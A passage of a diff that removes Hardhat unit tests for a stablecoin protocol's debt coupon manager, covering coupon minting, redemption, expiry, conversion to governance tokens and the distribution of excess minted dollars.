uAD.balanceOf(secondAccountAdr); - const mintableUAD = await dollarMintingCalculator.getDollarsToMint(); - - const excessUAD = mintableUAD.sub(uarTotalSupply).sub(uDebtCoupons); - const totalSupply = await uAD.totalSupply(); - - expect(mintableUAD).to.equal(calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // secondAccount must approve uAR to manage all of its uAR - // indeed debtCouponMgr will burn the user's uAR - await expect(uAR.connect(secondAccount).approve(debtCouponMgr.address, secondAccUARBalAfter)) - .to.emit(uAR, "Approval") - .withArgs(secondAccountAdr, debtCouponMgr.address, secondAccUARBalAfter); - - await expect(debtCouponMgr.connect(secondAccount).burnAutoRedeemTokensForDollars(secondAccUARBalAfter)) - .to.emit(uAR, "Burning") - .withArgs(secondAccountAdr, secondAccUARBalAfter) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUAD) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, secondAccUARBalAfter) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, excessUAD) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), excessUAD.div(2).toString()) - .and.to.emit(uAR, "Transfer") // burn uAR - .withArgs(secondAccountAdr, ethers.constants.AddressZero, secondAccUARBalAfter); - const excessDistributionBalanceAfterUARRedeem = await uAD.balanceOf(excessDollarsDistributor.address); - // we minted more uAD than what we needed for our coupon - expect(mintableUAD).to.be.gt(secondAccUARBalAfter); - - const userUADBalanceAfterRedeem = await uAD.balanceOf(secondAccountAdr); - expect(userUADBalanceAfterRedeem).to.equal(userUADBalanceBeforeRedeem.add(secondAccUARBalAfter)); - // check that we still have debt coupons - const debtCouponsAfterUARRedeem = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock + 1); - expect(debtCouponsAfterUARRedeem).to.equal(uDebtToMint); - // check that we still have dollar minted to repay uDebt - const balanceDebtMgrAfterUARRedeem = await uAD.balanceOf(debtCouponMgr.address); - expect(balanceDebtMgrAfterUARRedeem).to.equal(uDebtToMint); - - // debtCouponMgr uad balance should not be zero because there are still minted UAD - // for uDEBT holders - debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(amountToExchangeForCoupon); - // exchange the uDebt for uAD - // secondAccount must approve debtCouponMgr to manage all of its debtCoupons - // indeed debtCouponMgr will burn the user's debtCoupon - await expect(debtCoupon.connect(secondAccount).setApprovalForAll(debtCouponMgr.address, true)) - .to.emit(debtCoupon, "ApprovalForAll") - .withArgs(secondAccountAdr, debtCouponMgr.address, true); - // the redeem will trigger again some uAD minting as the total supply of uAD is greater - // after the uAR redeem - const newMintableUAD = await dollarMintingCalculator.getDollarsToMint(); - // const newExcessUAD = mintableUAD.sub(uDebtToMint); - const newTotalSupply = await uAD.totalSupply(); - expect(newMintableUAD).to.equal(calcPercentage(newTotalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // the new calculation is greater than the previous because total supply is greater - expect(newMintableUAD).to.be.gt(mintableUAD); - - const balanceBeforeDebtRedeem = await uAD.balanceOf(secondAccountAdr); - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock + 1, uDebtToMint)) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock + 1, uDebtToMint) - .and.to.emit(uAD, "Transfer") // minting of uad is substracted to what was already minted - .withArgs( - ethers.constants.AddressZero, - debtCouponMgr.address, - newMintableUAD.sub(mintableUAD) // only the difference has been minted - ) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, uDebtToMint) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, newMintableUAD.sub(mintableUAD)) - .and.to.emit(debtCoupon, "TransferSingle") // ERC1155 burn - .withArgs(debtCouponMgr.address, secondAccountAdr, ethers.constants.AddressZero, expiryBlock + 1, uDebtToMint); - - const debtCouponsAfterDebtRedeem = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock + 1); - // the debt coupon has been burned - expect(debtCouponsAfterDebtRedeem).to.equal(0); - // right amount of uAD has been transfered - const balanceAfterDebtRedeem = await uAD.balanceOf(secondAccountAdr); - expect(balanceAfterDebtRedeem).to.equal(balanceBeforeDebtRedeem.add(uDebtToMint)); - // excess distributor has increased is uAD balance - // with the newly minted uAD - const excessDistributionBalanceAfterDebtRedeem = await uAD.balanceOf(excessDollarsDistributor.address); - expect(excessDistributionBalanceAfterDebtRedeem.sub(excessDistributionBalanceAfterUARRedeem)).to.equal(newMintableUAD.sub(mintableUAD)); - - // there shouldn't be any uAD left in the DebtManager - // as all debts have been redeemed - const balanceDebtMgrAfterDebtRedeem = await uAD.balanceOf(debtCouponMgr.address); - expect(balanceDebtMgrAfterDebtRedeem).to.equal(0); - }); - it("burnExpiredCouponsForUGOV should revert if balance is not insufficient", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // Price must be below 1 to mint coupons - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - await twapOracle.update(); - - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = oneETH; - const secondAccountAdr = await secondAccount.getAddress(); - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock, couponToMint); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon)).to.equal(0); - - // check that we have a debt coupon with correct premium - const debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCoupons).to.equal(couponToMint); - await mineNBlock(couponLengthBlocks); - // increase time so that our coupon are expired - await expect(debtCouponMgr.connect(secondAccount).burnExpiredCouponsForUGOV(expiryBlock, debtCoupons.add(oneETH))).to.revertedWith( - "User not enough coupons" - ); - }); - it("burnExpiredCouponsForUGOV should revert if coupon is not expired", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // Price must be below 1 to mint coupons - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - await twapOracle.update(); - - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = oneETH; - const secondAccountAdr = await secondAccount.getAddress(); - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock, couponToMint); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon)).to.equal(0); - - // check that we have a debt coupon with correct premium - const debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCoupons).to.equal(couponToMint); - - // increase time so that our coupon are expired - await expect(debtCouponMgr.connect(secondAccount).burnExpiredCouponsForUGOV(expiryBlock, debtCoupons.sub(oneETH))).to.revertedWith( - "Coupon has not expired" - ); - }); - it("burnExpiredCouponsForUGOV should work if coupon is expired", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // Price must be below 1 to mint coupons - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - await twapOracle.update(); - - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = oneETH; - const secondAccountAdr = await secondAccount.getAddress(); - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock, couponToMint); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon)).to.equal(0); - - // check that we have a debt coupon with correct premium - const debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCoupons).to.equal(couponToMint); - const approve = await debtCoupon.isApprovedForAll(secondAccountAdr, debtCouponMgr.address); - expect(approve).to.be.false; - // check outstanding debt now - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(debtCoupons); - const balanceUGOVBefore = await uGOV.balanceOf(secondAccountAdr); - // increase time so that our coupon are expired - await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - await mineNBlock(couponLengthBlocks); - await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const expiredCouponConvertionRate = await debtCouponMgr.expiredCouponConvertionRate(); - - const hl = await debtCoupon.holderTokens(secondAccountAdr); - expect(hl.length).to.equal(1); - expect(hl[0]).to.equal(expiryBlock); - - // DebtCouponManager should be approved to move user's debtCoupon - await debtCoupon.connect(secondAccount).setApprovalForAll(debtCouponMgr.address, true); - const approveAfter = await debtCoupon.isApprovedForAll(secondAccountAdr, debtCouponMgr.address); - expect(approveAfter).to.be.true; - await expect(debtCouponMgr.connect(secondAccount).burnExpiredCouponsForUGOV(expiryBlock, debtCoupons.sub(ethers.utils.parseEther("0.5")))) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, debtCoupons.sub(ethers.utils.parseEther("0.5"))) - .and.to.emit(uGOV, "Minting") - .withArgs(secondAccountAdr, debtCouponMgr.address, debtCoupons.sub(ethers.utils.parseEther("0.5")).div(expiredCouponConvertionRate)) - .and.to.emit(uGOV, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, debtCoupons.sub(ethers.utils.parseEther("0.5")).div(expiredCouponConvertionRate)); - const balanceUGOVAfter = await uGOV.balanceOf(secondAccountAdr); - expect(balanceUGOVAfter.sub(balanceUGOVBefore)).to.equal(debtCoupons.sub(ethers.utils.parseEther("0.5")).div(expiredCouponConvertionRate)); - // Even if price is above 1 we should be able to redeem coupon - - const CRVAmountToSwap = ethers.utils.parseEther("1000"); - - // Exchange (swap) - let dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD = dy3CRVtouAD.add(BigNumber.from(1)); - await twapOracle.update(); - - const whaleuADBalance = await uAD.balanceOf(curveWhaleAddress); - expect(whaleuADBalance).to.equal(dy3CRVtouAD); - - await twapOracle.update(); - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // should work if not enough coupon - - await expect(debtCouponMgr.connect(secondAccount).burnExpiredCouponsForUGOV(expiryBlock, ethers.utils.parseEther("0.5"))) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, ethers.utils.parseEther("0.5")) - .and.to.emit(uGOV, "Minting") - .withArgs(secondAccountAdr, debtCouponMgr.address, ethers.utils.parseEther("0.5").div(expiredCouponConvertionRate)) - .and.to.emit(uGOV, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, ethers.utils.parseEther("0.5").div(expiredCouponConvertionRate)); - const balanceUGOVAfter2ndRedeem = await uGOV.balanceOf(secondAccountAdr); - expect(balanceUGOVAfter2ndRedeem.sub(balanceUGOVAfter)).to.equal(ethers.utils.parseEther("0.5").div(expiredCouponConvertionRate)); - }); - it("setExpiredCouponConvertionRate should work", async () => { - const expiredCouponConvertionRate = await debtCouponMgr.expiredCouponConvertionRate(); - expect(expiredCouponConvertionRate).to.equal(2); - await expect(debtCouponMgr.setExpiredCouponConvertionRate(42)).to.emit(debtCouponMgr, "ExpiredCouponConvertionRateChanged").withArgs(42, 2); - - const expiredCouponConvertionRateAfter = await debtCouponMgr.expiredCouponConvertionRate(); - expect(expiredCouponConvertionRateAfter).to.equal(42); - }); - it("setExpiredCouponConvertionRate should fail if not coupon manager", async () => { - await expect(debtCouponMgr.connect(secondAccount).setExpiredCouponConvertionRate(42)).to.revertedWith("Caller is not a coupon manager"); - }); - it("setCoupon should work", async () => { - const currentCouponLengthBlocks = await debtCouponMgr.couponLengthBlocks(); - expect(currentCouponLengthBlocks).to.equal(couponLengthBlocks); - await expect(debtCouponMgr.setCouponLength(42)).to.emit(debtCouponMgr, "CouponLengthChanged").withArgs(42, couponLengthBlocks); - - const couponLengthBlocksAfter = await debtCouponMgr.couponLengthBlocks(); - expect(couponLengthBlocksAfter).to.equal(42); - }); - it("exchangeDollarsForDebtCoupons should fail if uAD price is >= 1", async () => { - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(1)).to.revertedWith("Price must be below 1 to mint coupons"); - }); - it("exchangeDollarsForDebtCoupons should fail if coupon is expired or amount is insufficient", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // Price must be below 1 to mint coupons - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = oneETH; - const secondAccountAdr = await secondAccount.getAddress(); - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock, couponToMint); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon)).to.equal(0); - // check that we have a debt coupon with correct premium - const debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCoupons).to.equal(couponToMint); - - // check outstanding debt now - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(debtCoupons); - - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - const whale3CRVBalanceBeforeSwap = await crvToken.balanceOf(curveWhaleAddress); - const CRVAmountToSwap = ethers.utils.parseEther("1000"); - - // Exchange (swap) - let dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD = dy3CRVtouAD.add(BigNumber.from(1)); - await twapOracle.update(); - - const whale3CRVBalance = await crvToken.balanceOf(curveWhaleAddress); - const whaleuADBalance = await uAD.balanceOf(curveWhaleAddress); - - expect(whaleuADBalance).to.equal(dy3CRVtouAD); - expect(whale3CRVBalance).to.equal(whale3CRVBalanceBeforeSwap.sub(CRVAmountToSwap)); - - await twapOracle.update(); - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // should fail if not enough coupon - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, debtCoupons.mul(2))).to.revertedWith("User not enough coupons"); - // should expire after couponLengthBlocks block - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - await mineNBlock(couponLengthBlocks); - const blockAfter = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - expect(blockAfter.number).to.equal(blockBefore.number + couponLengthBlocks); - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, debtCoupons)).to.revertedWith("Coupon has expired"); - }); - it("exchangeDollarsForDebtCoupons should work", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - // Price must be below 1 to mint coupons - const uADPrice = await twapOracle.consult(uAD.address); - expect(uADPrice).to.be.lt(oneETH); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - const amountToExchangeForCoupon = oneETH; - const secondAccountAdr = await secondAccount.getAddress(); - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - // approve debtCouponManager to burn user's token - await uAD.connect(secondAccount).approve(debtCouponMgr.address, amountToExchangeForCoupon); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const couponToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock, couponToMint); - - const debtIds = await debtCoupon.holderTokens(secondAccountAdr); - const debtBalanceOfs = debtIds.map((id) => { - return debtCoupon.balanceOf(secondAccountAdr, id); - }); - const debtBalances = await Promise.all(debtBalanceOfs); - let fullBalance = BigNumber.from(0); - if (debtBalances.length > 0) { - fullBalance = debtBalances.reduce((prev, cur) => { - return prev.add(cur); - }); - } - expect(fullBalance).to.equal(couponToMint); - expect(debtIds.length).to.equal(1); - expect(debtIds[0]).to.equal(expiryBlock); - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon)).to.equal(0); - // check that we have a debt coupon with correct premium - const debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCoupons).to.equal(couponToMint); - - // check outstanding debt now - const totalOutstandingDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalOutstandingDebt).to.equal(debtCoupons); - - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - const whale3CRVBalanceBeforeSwap = await crvToken.balanceOf(curveWhaleAddress); - const CRVAmountToSwap = ethers.utils.parseEther("3000"); - - // Exchange (swap) - let dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - const dy3CRVtoUADsecond = await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD = dy3CRVtouAD.add(dy3CRVtoUADsecond); - await twapOracle.update(); - const whale3CRVBalance = await crvToken.balanceOf(curveWhaleAddress); - const whaleuADBalance = await uAD.balanceOf(curveWhaleAddress); - - expect(whaleuADBalance).to.equal(dy3CRVtouAD); - expect(whale3CRVBalance).to.equal(whale3CRVBalanceBeforeSwap.sub(CRVAmountToSwap)); - - await twapOracle.update(); - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // now we can redeem the coupon - // 1. this will update the total debt by going through all the debt coupon that are - // not expired it should be equal to debtCoupons here as we don't have uAR - // 2. it calculates the mintable uAD based on the mint rules - // where we don't expand the supply of uAD too much during an up cyle - // (down cycle begins when we burn uAD for debtCoupon see func: exchangeDollarsForDebtCoupons() ) - // we only expand (price-1)* total Supply % more uAD at maximum see func: getDollarsToMint() - // this means that you may have coupon left after calling redeemCoupons() - // this is indeed on a first come first served basis - // 3. if the minted amount is > totalOutstandingDebt the excess is distributed - // 10% to treasury 10% to uGov fund and 80% to LP provider - - // debtCouponMgr uad balance should be empty - let debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - const userUADBalanceBeforeRedeem = await uAD.balanceOf(secondAccountAdr); - const mintableUAD = await dollarMintingCalculator.getDollarsToMint(); - const excessUAD = mintableUAD.sub(debtCoupons); - const totalSupply = await uAD.totalSupply(); - - expect(mintableUAD).to.equal(calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // secondAccount must approve debtCouponMgr to manage all of its debtCoupons - // indeed debtCouponMgr will burn the user's debtCoupon - await expect(debtCoupon.connect(secondAccount).setApprovalForAll(debtCouponMgr.address, true)) - .to.emit(debtCoupon, "ApprovalForAll") - .withArgs(secondAccountAdr, debtCouponMgr.address, true); - - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, debtCoupons)) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, debtCoupons) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUAD) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, debtCoupons) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, excessUAD) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), excessUAD.div(2).toString()) - .and.to.emit(debtCoupon, "TransferSingle") // ERC1155 - .withArgs(debtCouponMgr.address, secondAccountAdr, ethers.constants.AddressZero, expiryBlock, debtCoupons); - - const debtAfterIds = await debtCoupon.holderTokens(secondAccountAdr); - expect(debtAfterIds.length).to.equal(1); - const debtBalanceAfter = await debtCoupon.balanceOf(secondAccountAdr, debtAfterIds[0]); - expect(debtBalanceAfter).to.equal(0); - // we minted more uAD than what we needed for our coupon - expect(mintableUAD).to.be.gt(debtCoupons); - - const userUADBalanceAfterRedeem = await uAD.balanceOf(secondAccountAdr); - expect(userUADBalanceAfterRedeem).to.equal(userUADBalanceBeforeRedeem.add(debtCoupons)); - // check that we don't have debt coupon anymore - const debtCouponsAfterRedeem = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCouponsAfterRedeem).to.equal(0); - - // debtCouponMgr uad balance should be empty because all minted UAD have been transferred - // to coupon holder and excessDistributor - debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - - // excess distributor have distributed everything - const excessDistributoUADBalance = await uAD.balanceOf(excessDollarsDistributor.address); - // small change remain - expect(excessDistributoUADBalance).to.equal(BigNumber.from(1)); - }); - it("calling exchangeDollarsForDebtCoupons twice in up cycle should mint uAD a second time only based on the inflation", async () => { - // Price must be below 1 to mint coupons - const uADPrice = await twapOracle.consult(uAD.address); - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - const uADPriceAfter = await twapOracle.consult(uAD.address); - expect(uADPriceAfter).to.be.lt(uADPrice); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - - const amountToExchangeForCoupon = ethers.utils.parseEther("2"); - const secondAccountAdr = await secondAccount.getAddress(); - // approve debtCouponManager to burn user's token - await uAD.connect(secondAccount).approve(debtCouponMgr.address, amountToExchangeForCoupon); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)).to.emit(debtCoupon, "MintedCoupons"); - const debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - - const CRVAmountToSwap = ethers.utils.parseEther("10000"); - - // Exchange (swap) - await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - await twapOracle.update(); - - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // now we can redeem the coupon - // 1. this will update the total debt by going through all the debt coupon that are - // not expired it should be equal to debtCoupons here as we don't have uAR - // 2. it calculates the mintable uAD based on the mint rules - // where we don't expand the supply of uAD too much during an up cyle - // (down cycle begins when we burn uAD for debtCoupon see func: 